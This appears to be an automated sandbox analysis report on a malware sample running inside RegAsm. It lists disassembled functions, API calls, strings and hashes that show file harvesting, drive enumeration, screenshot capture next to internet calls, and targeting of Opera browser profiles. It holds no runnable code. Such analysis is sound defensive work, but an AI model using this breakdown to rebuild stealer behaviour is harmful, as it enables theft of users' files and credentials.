_EH_prolog.MSVCRT ref: 004153FB
wsprintfA.USER32 ref: 00415421
FindFirstFileA.KERNEL32(?,?), ref: 00415438
memset.MSVCRT ref: 0041544F
memset.MSVCRT ref: 0041545D
StrCmpCA.SHLWAPI(?,004267F4), ref: 0041547B
StrCmpCA.SHLWAPI(?,004267F8), ref: 00415495
wsprintfA.USER32 ref: 004154B9
StrCmpCA.SHLWAPI(?,00426516), ref: 004154CA
wsprintfA.USER32 ref: 004154F0
wsprintfA.USER32 ref: 00415504
memset.MSVCRT ref: 00415516
lstrcat.KERNEL32(?,?), ref: 00415528
strtok_s.MSVCRT ref: 00415561
memset.MSVCRT ref: 00415576
lstrcat.KERNEL32(?,?), ref: 0041558B
PathMatchSpecA.SHLWAPI(?,00000000), ref: 004155AE

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004156B0
strtok_s.MSVCRT ref: 004156E1
FindNextFileA.KERNELBASE(000000FF,?), ref: 00415804
FindClose.KERNEL32(000000FF), ref: 00415815

Strings

%s\%s\%s, xrefs: 004154EA
%s\%s, xrefs: 004154B3
%s\*.*, xrefs: 00415416
%s\%s, xrefs: 004154FE

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcatlstrcpymemsetwsprintf$Find$Filestrtok_s$CloseFirstMatchNextPathSpecSystemTimeUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 264515753-332874205
Opcode ID: d20dc5bdacd583ed27b03aefafc9fd92c8039eee4d847269b8182252768ee144
Instruction ID: ca9661dadf250ee48b6985f068276dcce33099c5ed12ff06a98e026076f1a7f9
Opcode Fuzzy Hash: d20dc5bdacd583ed27b03aefafc9fd92c8039eee4d847269b8182252768ee144
Instruction Fuzzy Hash: F2C160B1D0015DEEDF20EBE4DC45EDEBBBCAB08304F50406AF519A3191DB389A49CB65

Function 6CC335A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CCBF688,00001000), ref: 6CC335D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CC335E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CC335FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CC3363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CC3369F
__aulldiv.LIBCMT ref: 6CC336E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CC33773
EnterCriticalSection.KERNEL32(6CCBF688), ref: 6CC3377E
LeaveCriticalSection.KERNEL32(6CCBF688), ref: 6CC337BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CC337C4
EnterCriticalSection.KERNEL32(6CCBF688), ref: 6CC337CB
LeaveCriticalSection.KERNEL32(6CCBF688), ref: 6CC33801
__aulldiv.LIBCMT ref: 6CC33883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CC33902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CC33918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CC3394C

Strings

GenuntelineI, xrefs: 6CC33639
GTC, xrefs: 6CC33912
AuthcAMDenti, xrefs: 6CC33946
MOZ_TIMESTAMP_MODE, xrefs: 6CC335DB
QPC, xrefs: 6CC338FC

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: bce91024ca0b33ad1c7eb9efa07ebd08f3abaf721314da05dbca1aae7698ec0c
Instruction ID: 43f56405c037018c2c9e4feb9d2439c0183ddd71e891c25ef2bc61644d77eb84
Opcode Fuzzy Hash: bce91024ca0b33ad1c7eb9efa07ebd08f3abaf721314da05dbca1aae7698ec0c
Instruction Fuzzy Hash: EAB1F879B043119FDB08DFA8D85561A77F5FB8A700F09892EE899D3750E770D801CB9A

Function 004162AF Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004162B4
wsprintfA.USER32 ref: 004162D4
FindFirstFileA.KERNEL32(?,?), ref: 004162EB
StrCmpCA.SHLWAPI(?,004268B0), ref: 00416308
StrCmpCA.SHLWAPI(?,004268B4), ref: 00416322
wsprintfA.USER32 ref: 00416346
StrCmpCA.SHLWAPI(?,00426525), ref: 00416357
wsprintfA.USER32 ref: 00416374

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

wsprintfA.USER32 ref: 00416388
PathMatchSpecA.SHLWAPI(?,?), ref: 0041639B
lstrcat.KERNEL32(?,?), ref: 004163C7
lstrcat.KERNEL32(?,004268CC), ref: 004163D9
lstrcat.KERNEL32(?,?), ref: 004163E9
lstrcat.KERNEL32(?,004268D0), ref: 004163FB
lstrcat.KERNEL32(?,?), ref: 0041640F
FindNextFileA.KERNEL32(00000000,?), ref: 004165AA
FindClose.KERNEL32(00000000), ref: 004165B9

Strings

%s\%s, xrefs: 00416382
%s\%s, xrefs: 00416340
%s\*, xrefs: 004162CE

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcat$H_prologwsprintf$Find$CloseCreatelstrcpy$AllocFirstHandleLocalMatchNextObjectPathReadSingleSizeSpecThreadWait
String ID: %s\%s$%s\%s$%s\*
API String ID: 3254224521-445461498
Opcode ID: f1e2c898751335988b89725b49f2b994cd233f31897e165e0f6e33926c86069b
Instruction ID: 44fee943ad19fbeb295e67141fcee366af0812e97ca0ac8f0a151d0c2a205fa7
Opcode Fuzzy Hash: f1e2c898751335988b89725b49f2b994cd233f31897e165e0f6e33926c86069b
Instruction Fuzzy Hash: 97918C71900259ABDF10EBE4DD4ABDEBBBDAF09304F4040BAF505A3191DB389B48CB65

Function 004112FD Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 162windowCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411302
memset.MSVCRT ref: 00411328
GetDesktopWindow.USER32 ref: 0041135E
GetWindowRect.USER32(00000000,?), ref: 0041136B
GetDC.USER32(00000000), ref: 00411372
CreateCompatibleDC.GDI32(00000000), ref: 0041137C
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0041138D
SelectObject.GDI32(00000000,00000000), ref: 00411398
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 004113B4
GlobalFix.KERNEL32(?), ref: 00411412
GlobalSize.KERNEL32(?), ref: 0041141E

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004043AD: _EH_prolog.MSVCRT ref: 004043B2
Part of subcall function 004043AD: lstrlenA.KERNEL32(00000000), ref: 00404421
Part of subcall function 004043AD: StrCmpCA.SHLWAPI(?,00425987,00425983,0042597B,00425977,00425976), ref: 004044A4
Part of subcall function 004043AD: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004044C4

SelectObject.GDI32(00000000,?), ref: 00411498
DeleteObject.GDI32(?), ref: 004114B3
DeleteObject.GDI32(00000000), ref: 004114BA
ReleaseDC.USER32(00000000,?), ref: 004114C4
CloseWindow.USER32(00000000), ref: 004114CB

Strings

image/jpeg, xrefs: 004113D4

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Object$Window$CompatibleCreateDeleteGlobalH_prologSelectlstrcpy$BitmapCloseDesktopInternetOpenRectReleaseSizelstrlenmemset
String ID: image/jpeg
API String ID: 3067874393-3785015651
Opcode ID: 3bdf46d3e9d7c0e78ba7912a53a363b2d7867d1b528b743ce995cd4dcfebb4b6
Instruction ID: b777bc6b67979350ab37bc7b6ce454515ef26c15ee534ccd721ea0ab8c47e668
Opcode Fuzzy Hash: 3bdf46d3e9d7c0e78ba7912a53a363b2d7867d1b528b743ce995cd4dcfebb4b6
Instruction Fuzzy Hash: 385118B2D00218AFDF01AFE5DD499EEBFB9FF09714F10402AFA05E2160D7394A558BA5

Function 00415AC2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 133stringfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415AC7
wsprintfA.USER32 ref: 00415AEA
FindFirstFileA.KERNEL32(?,?), ref: 00415B01
StrCmpCA.SHLWAPI(?,0042687C), ref: 00415B23
StrCmpCA.SHLWAPI(?,00426880), ref: 00415B3D
lstrcat.KERNEL32(?,?), ref: 00415B72
lstrcat.KERNEL32(?), ref: 00415B85
lstrcat.KERNEL32(?,?), ref: 00415B99
lstrcat.KERNEL32(?,?), ref: 00415BA9
lstrcat.KERNEL32(?,00426884), ref: 00415BBB
lstrcat.KERNEL32(?,?), ref: 00415BCF

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

FindNextFileA.KERNEL32(00000000,?), ref: 00415C69
FindClose.KERNEL32(00000000), ref: 00415C78

Strings

%s\%s, xrefs: 00415AE4

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$H_prolog$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 2282932919-4073750446
Opcode ID: 8a485682f3bd560c78555ff2535f4c5e4a83989996905e60acd5c30d46b0b76a
Instruction ID: 88f705c6070867334dedd45070e8c549d2cf59d2b969f0f0e11c1cc9a72add11
Opcode Fuzzy Hash: 8a485682f3bd560c78555ff2535f4c5e4a83989996905e60acd5c30d46b0b76a
Instruction Fuzzy Hash: 68512D7290022DABDF11EBA1DD49EDE7B7CAF49304F0004AAE509E3151E7389785CBA4

Function 00409F72 Relevance: 23.4, APIs: 8, Strings: 5, Instructions: 628fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409F77

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,?,?,00425BAE,00000000,-00000020,00000000), ref: 00409FF6
StrCmpCA.SHLWAPI(?,00425E10), ref: 0040A050
StrCmpCA.SHLWAPI(?,00425E14), ref: 0040A06A
StrCmpCA.SHLWAPI(00000000,Opera,00425BBB,00425BBA,00425BB7,00425BB6,00425BB3,00425BB2,00425BAF), ref: 0040A0FD
StrCmpCA.SHLWAPI(00000000,Opera GX), ref: 0040A111
StrCmpCA.SHLWAPI(00000000,Opera Crypto), ref: 0040A125

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Opera, xrefs: 0040A0EB
Opera GX, xrefs: 0040A103
7, xrefs: 0040A780
Opera Crypto, xrefs: 0040A117
\*.*, xrefs: 00409FAD

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrcat$FileFindFirstlstrlen
String ID: 7$Opera$Opera Crypto$Opera GX$\*.*
API String ID: 3869166975-536343317
Opcode ID: 6e383192cdb746ddf89457e756fd6650634d6981f08b0559ee31f2275b45e7bd
Instruction ID: 1112d73afc027f2f7bfb5dc7aaaada1126a1c892b2eba4476be0d084da770975
Opcode Fuzzy Hash: 6e383192cdb746ddf89457e756fd6650634d6981f08b0559ee31f2275b45e7bd
Instruction Fuzzy Hash: F6424B70904288EACB15EBE5C955BDDBBB4AF19308F5040BEE409736C2DB781B4CDB66

Function 00415843 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 151stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415848
GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004158AA
memset.MSVCRT ref: 004158C9
GetDriveTypeA.KERNEL32(?), ref: 004158D2
lstrcpy.KERNEL32(?,00000000), ref: 004158F2
lstrcpy.KERNEL32(?,00000000), ref: 00415910

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 004153F6: _EH_prolog.MSVCRT ref: 004153FB
Part of subcall function 004153F6: wsprintfA.USER32 ref: 00415421
Part of subcall function 004153F6: FindFirstFileA.KERNEL32(?,?), ref: 00415438
Part of subcall function 004153F6: memset.MSVCRT ref: 0041544F
Part of subcall function 004153F6: memset.MSVCRT ref: 0041545D
Part of subcall function 004153F6: StrCmpCA.SHLWAPI(?,004267F4), ref: 0041547B
Part of subcall function 004153F6: StrCmpCA.SHLWAPI(?,004267F8), ref: 00415495
Part of subcall function 004153F6: wsprintfA.USER32 ref: 004154B9
Part of subcall function 004153F6: StrCmpCA.SHLWAPI(?,00426516), ref: 004154CA
Part of subcall function 004153F6: wsprintfA.USER32 ref: 004154F0
Part of subcall function 004153F6: memset.MSVCRT ref: 00415516
Part of subcall function 004153F6: lstrcat.KERNEL32(?,?), ref: 00415528
Part of subcall function 004153F6: strtok_s.MSVCRT ref: 00415561
Part of subcall function 004153F6: memset.MSVCRT ref: 00415576
Part of subcall function 004153F6: lstrcat.KERNEL32(?,?), ref: 0041558B

lstrcpy.KERNEL32(?,00000000), ref: 00415933
lstrlenA.KERNEL32(?), ref: 00415998

Strings

*%DRIVE_REMOVABLE%*, xrefs: 0041587F
%DRIVE_REMOVABLE%, xrefs: 004158F9
%DRIVE_FIXED%, xrefs: 00415917
*%DRIVE_FIXED%*, xrefs: 0041585C

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$H_prologlstrcpywsprintf$Drivelstrcat$FileFindFirstLogicalStringsTypelstrlenstrtok_s
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 2879972474-147700698
Opcode ID: e50e932db34735ec1e1f7d5ed1c1354268d54e004d92e1bad43fc9aee28c9db4
Instruction ID: 4715bdd0870850b2207078c54e98d1efd7a256ad646b0eee288a0e2f42291a72
Opcode Fuzzy Hash: e50e932db34735ec1e1f7d5ed1c1354268d54e004d92e1bad43fc9aee28c9db4
Instruction Fuzzy Hash: 095170B190029CEADF30EF61DC55EEF7B7DAF05304F50003ABA15A2191DB386A89CB95

Function 00401162 Relevance: 20.0, APIs: 9, Strings: 2, Instructions: 771fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401167

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00422374,?,?,?,00422370,?,?,00000000,?,00000000), ref: 004013AC
StrCmpCA.SHLWAPI(?,00422378), ref: 004013CA
StrCmpCA.SHLWAPI(?,0042237C), ref: 004013E4
FindFirstFileA.KERNEL32(00000000,?,?,?,?,00422388,?,?,?,00422384,?,?,?,00422380,?,?), ref: 00401510

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

FindNextFileA.KERNEL32(00000000,?,?,?,?,?,?,0042238C), ref: 00401832
FindClose.KERNEL32(00000000,?,?,?,?,?,0042238C), ref: 00401841
FindNextFileA.KERNEL32(?,?), ref: 00401BD4
FindClose.KERNEL32(?), ref: 00401BE5

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00410CDD: _EH_prolog.MSVCRT ref: 00410CE2
Part of subcall function 00410CDD: GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425BF6,?,?), ref: 00410CF6

